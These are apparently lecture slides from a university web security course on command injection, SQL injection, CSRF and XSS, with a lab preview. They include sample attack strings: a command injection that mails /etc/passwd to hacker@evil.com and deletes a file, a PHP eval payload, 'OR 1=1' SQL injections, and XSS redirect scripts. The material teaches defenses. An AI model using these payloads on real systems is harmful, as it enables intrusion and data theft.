Lab #1 due 23:59 tonight

- You aren’t crazy: crackStealthy is hard! Might not be possible to pass with 100% certainty.
- If you tried really hard, tell us the best time your stealthy code can reliably pass. We will give test with that time and give some extra credit to the best performers. Up to you whether you want to roll the dice...

Homework #2 available tomorrow

- Due Jan 31st (1 week)

Lab #2 document available tomorrow, servers will be up during the weekend

- Due Feb 14th (3 weeks, but you will need to start earlier!)
- 15% of final grade

Access to grunhilda will be down for grading at some point over the weekend. Check Piazza for announcements.
LAST TIME

- Stack smashing
  - What enforcement and/or mitigation mechanisms would prevent our attack? How?

- Intro to web security
  - HTTP, HTML, CSS, Javascript
  - Web security policies and threats
  - Same origin policy: C? I? A?
  - Exceptions and weaknesses
WEB SECURITY I

TODAY

- Server-side threats
  - Command injection
  - SQL injection
- Cookies
- Cross site request forgery (CSRF)
- Cross site scripting (XSS)
- Lab #2 Preview
SERVER SIDE THREATS
WEB SECURITY I

COMMAND INJECTION

- Say a user fills in web form to query a local phone book
- Javascript generates a regular expression from the form data
- Server is accessed with a URL like:
  - http://phonebook.com/search?regex=<pattern>
- Example: http://phonebook.com/search?regex=Alice%20*Smith*
- Searches for all “Alice” with family names including “Smith” ... Returns “Alice Smith” “Alice Smithson” “Alice Poncenby-Smith”, etc.
Suppose the regex eventually finds its way to this function:

```c
void find(char *regex){
    char cmd[512];
    snprintf(cmd, sizeof cmd,
             "grep %s phonebook.txt", regex);
    system(cmd);
}
```

And the query was:

```
http://phonebook.com/search?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20rm phonebook.txt
```

It's as if the user running the web server typed this:

```
$ grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt
```
WEB SECURITY I

COMMAND INJECTION DEFENSES

- Poor: **Input sanitization**
  - Look for “bad things” in the input and neutralize them
  - Tricky to get right and brittle!
  - Goes against “failsafe defaults” principle:
    - Input is considered okay unless a bad thing is found

- Better: **Constrain the API**
  - Keep it simple + defensive programming

```
http://phonebook.com/search?first=Alice&last=Smith

void find(char *first, char *last);
```
WEB SECURITY I

PICKING ON PHP

**preg_replace**

(php 4, php 5, PHP 7)

**Description**

preg_replace ( mixed $pattern , mixed $replacement [, mixed &$count ] ) : mixed

**Caution** The **addslashes()** function is run on each matched backreference before the substitution takes place. As such, when the backreference is used as a quoted string, escaped characters will be converted to literals. However, characters which are escaped, which would normally not be converted, will retain their slashes. This makes use of this modifier very complicated.

**Caution** Use of this modifier is discouraged, as it can easily introduce security vulnerabilities:

```php
<?php
$html = $_POST['html'];

// uppercase headings
$html = preg_replace(
    '<h([1-6])>(.+?)</h>',
    '<h$1>'. strtoupper($2) .'</h>',
    $html
);

The above example code can be easily exploited by passing in a string such as `<h1>${eval($_GET[php_code])}</h1>`. This gives the attacker the ability to execute arbitrary PHP code and as such gives them nearly complete access to your server.
```

**Warning** This feature was **DEPRECATED** in PHP 5.5.0, and **REMOVED** as of PHP 7.0.0.

If this deprecated modifier is set, **preg_replace()** does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the matched text. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in backreferences.

Several PCRE modifiers are also available.
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
<tr>
<td>Rank</td>
<td>Score</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>-------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>1</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>(‘SQL Injection’)</td>
</tr>
<tr>
<td>2</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>(‘OS Command Injection’)</td>
</tr>
<tr>
<td>3</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)</td>
</tr>
<tr>
<td>4</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>(‘Cross-site Scripting’)</td>
</tr>
<tr>
<td>5</td>
<td>76.9</td>
<td>CWE-306</td>
<td>Missing Authentication for Critical Function</td>
</tr>
<tr>
<td>6</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>7</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>8</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>9</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>10</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>11</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>12</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>13</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory (‘Path</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Traversal’)</td>
</tr>
<tr>
<td>14</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>15</td>
<td>67.8</td>
<td>CWE-863</td>
<td>Incorrect Authorization</td>
</tr>
<tr>
<td>16</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
<tr>
<td>Rank</td>
<td>Score</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>--------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
Anonymous speaks: the inside story of the HBGary hack

By Peter Bright | Last updated a day ago

The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web frontend to the CMS.

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned...
From the looks of it, however, one our sources suspects an SQL injection, in which an attacker has likely been able to gain access to the Web site. Markovich also questioned whether Markovich did not notice the hack for six months, as it was not evident.

May 8, 2009 1:53 PM PDT

UC Berkeley computers hacked, 160,000 at risk

by Michele Meyers

0 tweet  Share

This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.

Hackers broke into the University of California at Berkeley's health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it's still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waqener, UCB's chief technology officer, said in a press conference Friday afternoon.
Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government -- have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors’ machines.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: “...our investigation has shown that there are no new or unknown vulnerabilities being exploited. The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application’s database. To protect against SQL injection attacks the
How Modern Web Applications Work

Browser

Web Server

Database Server

/search?first=Alice

SELECT first, last, number FROM phonebook
WHERE first = “Alice”

Alice Smith 555 123 4567
Alice Wonder 555 890 1234
Alice Cooper 555 567 8901

<HTML> ... </HTML>
Suppose the web server runs the following PHP:

```php
$user = $_POST['user'];
$sql = "SELECT AcctNum FROM Customer
    WHERE Balance > 1000000 AND
    Username='$user'";
$result = $db->executeQuery($sql);
```

- Query returns the user’s account number if they are a “valued” customer
- Web server will send value of $sql variable to database server to get account numbers from a database

```
http://safebank.com/account.php?user=alice
```

```sql
SELECT AcctNum FROM Customer
    WHERE Balance > 1000000 AND
    Username='alice'
```
WEB SECURITY I

SQL INJECTION ATTACKS

- `account.php?user=alice' OR 1=1`

  WHERE Balance > 1000000 AND Username='alice' OR 1=1

- Operator precedence in SQL turns this into:

  WHERE Balance > 1000000 AND (Username='alice' OR 1=1)

- Since 1=1 is always true, this is effectively:

  SELECT AcctNum FROM Customer WHERE Balance > 1000000

- `account.php?user=alice' OR 1=1 --`  

  WHERE Balance > 1000000 AND Username='alice' OR 1=1 --

  SELECT AcctNum FROM Customer WHERE Balance > 1000000
WEB SECURITY I

SQL INJECTION DEFENSES

› Poor: Input sanitization
  › Check or transform so that value/string does not have commands of any sort
  › Disallow special characters or escape input string
  › Risky: goes against security principle...

› Better: Constraining how user input is interpreted
  › Most statements have the same form, but need specific values filled in
  › The user’s input should be interpreted as a value, not as SQL code
WEB SECURITY I

SQL ESCAPING

- Generally, parser interprets ‘ as start of a string.
  - Within a string, \’ is converted to ‘ and \\ is converted to \\
  - So for:
    ```sql
    SELECT PersonID FROM People
    WHERE Username='alice\'; SELECT * FROM People;\''
    ```

- Username will be matched against the (unlikely) name
  alice'; SELECT * FROM People;'

- Unfortunately, SQL parsers from different vendors have different escape sequences and different APIs for escaping

- Hard to get right, and might need vendor-specific defenses
Q: Is this class just hacker movie references and XKCD comics?
A: Basically, yes.
 BETTER ABSTRACTIONS FOR SQL QUERIES

- Language / API support for building query structure independent of user input

```java
ResultSet getProfile(Connection conn, String uname) {
    String query =
        "SELECT AcctNum FROM Customer
         WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, username);
    return p.executeQuery();
}
```
PreparedStatement only allows ‘?’ at leaf nodes so **tree structure is fixed** before execution and **user input is confined.**
This can’t happen because parser is expecting a string, not a boolean subexpression.
Instead, the attempted injection gets parsed as a (weird) string. No explicit escaping necessary, every character is part of string.
WEB SECURITY I

SQL INJECTION TAKEAWAY

- **Target**: webservers that use a backend database
- **Attacker goals**: Inject/modify database commands to:
  - Read or modify private data
  - Delete confidential data
  - Alter web-site information (or even code!)
- **Attack vector**: sending requests to web server
- **Key vulnerability**: Web server allows attacker input to be interpreted as SQL commands rather than data
“C” IS FOR COOKIES
WEB SECURITY I

COOKIES

- A way of maintaining HTTP state on the client

Browser → GET ... Server

HTTP response contains cookie

Browser maintains cookie jar
The first time a browser connects to a particular web server, it has no cookies for that web server.

When the web server responds, it includes a `Set-Cookie:` header defining a cookie.
When the browser connects to the same server later, it includes a `Cookie:` header containing the name and value, which the server can use to connect related requests.

- Domain and path inform the browser about which sites to send this cookie to.
Cookie Scope

- When the browser connects to the same server later, it includes a Cookie: header containing the name and value, which the server can use to connect related requests.
- Domain and path inform the browser about which sites to send this cookie to.
- Secure: Sent over HTTPS only.
WEB SECURITY I

SETTING AND DELETING COOKIES

GET ...

HTTP Header:
Set-cookie: 🔐NAME=VALUE;
domain = (when to send);
path = (when to send);
secure = (only send over HTTPS);
expires = (when expires);
HttpOnly

- Expires: expiration date
- HttpOnly: not accessible from Javascript
COOKIES AND WEB AUTHENTICATION

- One widespread use of cookies is for web sites to track users who have previously authenticated
  - e.g., once browser fetched http://mybank.com/login.html?user=alice&pass=bigsecret with a correct password, server associates value of a session cookie with Alice’s info

- Cookies is now “proof” to server that it is talking to same browser that authenticated as Alice

- But... an attacker who can manages to get a copy of Alice’s cookie can access the server and impersonate Alice!
“CSRF” IS FOR CROSS SITE REQUEST FORGERY
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWE-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWE-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWE-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org
<HTML>
  <HEAD>
    <TITLE>Test Page</TITLE>
  </HEAD>
  <BODY>
    <H1>Test Page</H1>
    <P> This is a test!</P>
  </BODY>
</HTML>
<HTML>
  <HEAD>
    <TITLE>Test Page</TITLE>
  </HEAD>
  <BODY>
    <H1>Test Page</H1>
    <P> This is a test!</P>
    <IMG SRC="http://anywhere.com/logo.jpg">
  </BODY>
</HTML>
<HTML>
  <HEAD>
    <TITLE>Definitely a Test Page</TITLE>
  </HEAD>
  <BODY>
    <H1>Super Safe Test Page</H1>
    <P>This is so not a heist!</P>
    <IMG SRC="http://xyz.com/do=thing.php...">
  </BODY>
</HTML>
CSRF ATTACK SCENARIO

(1) Connect / Login
(2) Cookie Returned
(3) Alice visits Dodgy Website
(4) Page containing automatically included malicious link to mybank.com returned to an unsuspecting Alice
(5) Forged Request sent (with legitimate and without Alice realising)
(6) Bank acts on what appears to be Alice’s request to transfer all her savings to some other account / off-shore tax haven
WEB SECURITY I

CSRF DEFENSE: REFERRENDER VALIDATION

- **Referer**: http://anywhereelse.com/<wherever> X
- **Referer**: (none)
  - Strict policy disallows (secure, but less usable) Default deny
  - Lenient policy allows (less secure, but more usable). Default allow

**Referer** might contain sensitive information, so might be removed by network, the local machine, HTTPS => HTTP, or user preferences

- **Referer**: http://nextbigthing.com/internal/bankruptcy-announcement.html

Blocking might **help the attacker** under lenient policy!
CSRF DEFENSE: REFERRER VALIDATION

- Server requests a secret token for every action
- User’s browser obtains this token if the user visited the site and browsed to that action
- If attacker causes browser to directly send action, browser won’t have the token!
  1. The goodsite.com server includes a secret token in the webpage (e.g., in forms as an additional hidden field)
  2. Legit requests to goodsite.com send back the secret
  3. The goodsite.com server checks that token in request matches the expected one; rejects request if not
- Validation token must be hard to guess by an attacker!
- Best defense? Referrer and Secret Token, (Defend in Depth)
“XSS” IS FOR CROSS SITE SCRIPTING
WEB SECURITY I

SAME ORIGIN POLICY: REMINDER

- Origin = protocol + hostname + port
  
  \[
  \text{http://safebank.com:81/accounts}
  \]

- One origin should not be able to access the resources of another

- Javascript on one page cannot read or modify pages from different origins

- The contents of an iframe have the origin of the URL from which the iframe is served; not the loading website
WEB SECURITY I

**XSS: SUBVERTING SOP**

- What if somebody from attacker.com fools your browser into executing their script with the script’s origin as some other site, like mybank.com?

- A common approach is to trick the server of interest (mybank.com) to actually send the attacker’s script to your browser!

  - The **browser can’t distinguish malicious scripts** from the real scripts – they have the same origin!

  - The attacker script has **full access to anything in the mybank.com origin**.

- Such attacks are termed Cross-Site Scripting (XSS)
WEB SECURITY I

XSS ATTACK TYPES

- **Stored / persistent**
  - The attacker leaves their script lying around on mybank.com server
  - Server later unwittingly send to your browser
  - Browser executes within same origin as pages from mybank.com
**WEB SECURITY I**

**STORED XSS ATTACK**

(1) Injects malicious script

(2) Alice requests her usual page

(3) But receives malicious script embedded in legitimate content

(4) Alice’s Browser executes malicious script thinking the mybank.com server wants it to do so

(5) Forged request sent (with legitimate and without Alice realising)

(6) Bank sends all Alice’s savings to the attacker’s account in the Cayman Islands

(7) Malicious script steals all Alice’s confidential data and sends it to the attacker for future nefarious use
WEB SECURITY I

STORED XSS ATTACK: SUMMARY

- **Target**: User with Javascript-enabled browser who visits page with user-generated content on a vulnerable web service.

- **Attacker goal**: Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)

- **Attack vector**: Content stored on web server page by users

- **Key vulnerability**: Server fails to ensure that uploaded content does not contain embedded scripts

- **Notes**:
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.
XSS ATTACK TYPES

- **Stored / persistent**
  - The attacker leaves their script lying around on mybank.com server
  - Server later unwittingly send to your browser
  - Browser executes within same origin as pages from mybank.com

- **Reflected**
  - The attacker gets you to send mybank.com a URL with Javascript embedded
  - Server echos it back in response
  - Browser executes within same origin as pages from mybank.com
**WEB SECURITY I**

**REFLECTED XSS ATTACK**

(1) Alice visits dodgy website

(2) Receives malicious script

(3) Alice clicks a link

(4) Malicious script is echo'd back

(5) Alice's Browser executes malicious script thinking the mybank.com server wants it to do so

(6) Forged request sent (with legitimate and without Alice realising)

(7) Bank sends all Alice's savings to the attacker's numbered Swiss Bank account

(8) And/or script steals private data

Alice

( User / Victim )

mybank.com

attacker.com
WEB SECURITY I

REFLECTED XSS ATTACK: SUMMARY

- **Target**: User with Javascript-enabled browser who visits vulnerable web service that includes parts of URLs it receives in the output web page.

- **Attacker goal**: Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)

- **Attack vector**: Getting a user to click on a specially crafted URL

- **Key vulnerability**: Server fails to ensure output it generates does not contain embedded scripts other than its own

- **Notes**:
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.
REFLECTED XSS DEMO

http://localhost/~owen/

http://localhost/~owen/index2.php

Attacks:
<script>alert('pWn3d!');</script>
<scriipt>document.location=https://bit.ly/18gECvy</script>
WEB SECURITY I

XSS DEFENSES: BEST PRACTICES FOR PREVENTION

- Open Web Application Security Project (OWASP)
  - https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

- Key recommendations:
  - **Never insert untrusted data** except in allowed locations ([default deny](#))
  - **HTML-escape** before inserting untrusted data into simple HTML element contents
  - **HTML-escape** all non-alphanumeric characters before inserting untrusted data into simple attribute contents

  ( HTML- Escape: e.g. “Alice & Bob > Eve“ => “Alice &amp; Bob &gt; Eve“ )
XSS DEFENSES: CSP

- Content Security Policy
  - **Goal**: Prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, ...) for a given web page

- **Approach**: (Browser enforced)
  - Prohibit inline scripts
  - `Content-Security-Policy` HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
    
    ```
    script-src 'self' http://b.com; img-src *
    ```
    
    *Says: Only allow scripts fetched explicitly ("<script src=URL></script>") from the server, or from http://b.com, but not from anywhere else. Will not execute a script included in a sever response to some other query.*
WEB SECURITY I

CSP PROS AND CONS

Pros:
- Content Security Policies can express a range of content policies about scripts and other resources
- Possible to eliminate several vectors of attacks

Cons:
- Breaks a lot of code. Might require significant refactoring to apply to existing codebase
- Somewhat complex to get right
WEB SECURITY REVIEW

- HTTP
- HTML / CSS / Javascript
- Web security goals / policies
- SQL Injection Attacks and Defenses
- Same Origin Policy
- Cookies
- Cross Site Request Forgery (CSRF)
- Cross Site Scripting (XSS)
## LAB 2 PREVIEW

<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWE-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWE-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWE-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
WEB SECURITY I

LAB 2 PREVIEW

- There’s an old webserver running on a UCSC internal machine you have reason to believe has a backdoor and is stack smashable

- Challenges:
  - You don’t know where it is
  - You don’t know the key to the backdoor
  - You don’t know the password
  - You don’t have the source code
  - You don’t have a binary image

- However:
  - As you solve each challenge, the next becomes easier

- Unfortunately:
  - Get the password wrong too many times and you’ll be locked out for awhile
WEB SECURITY I

LAB 2 PREVIEW

CMPS122 Winter 2019 : Lab 2

Submission due in:

21d 10h 58m 24s

Copyright © 2018 David C. Harrison - All Rights Reserved.
WEB SECURITY I

LAB 2 PREVIEW

- **Basic** (40%)
  - Find the web server that has your CruzID as the backdoor account username
  - Gain non-browser access to it via a dictionary attack on the password

- **Advanced** (30%)
  - Mount a buffer over flow attack against “your” server
  - Invoke a “secret” function that re-directs the home page to a 3rd party site

- **Challenge** (10%)
  - Automate the techniques used for the Basic and Advanced requirements

- **Stretch** (10%)
  - Mount another buffer overflow attack to gain shell access
  - Use this shell to replace the home page with one of your own

- **Extreme** (10%)
  - Same as challenge, but for a potentially modified version of the webserver
WEB SECURITY I

LAB 2 IMPORTANT WARNINGS

- **Do NOT use a port scanner**
  - It **WILL** be detected by the SOE network infrastructure and you could end up being expelled from the university.
    - *It may have been cool in the 1980s, but it isn’t anymore.*

- **Only launch attacks against the compromised webserver from grunhilda.soe.ucsc.edu**
  - Develop and test ideas anywhere you like (your own machine, for example) but when it comes time to launch the attack, only ever do it from grunhilda
  - Launching the attack from anywhere else (1) **won’t work** and (2) **may be detected** as malicious activity and could result in you being kicked out of class or worse
WEB SECURITY I

NEXT TIME

- Symmetric-Key Cryptography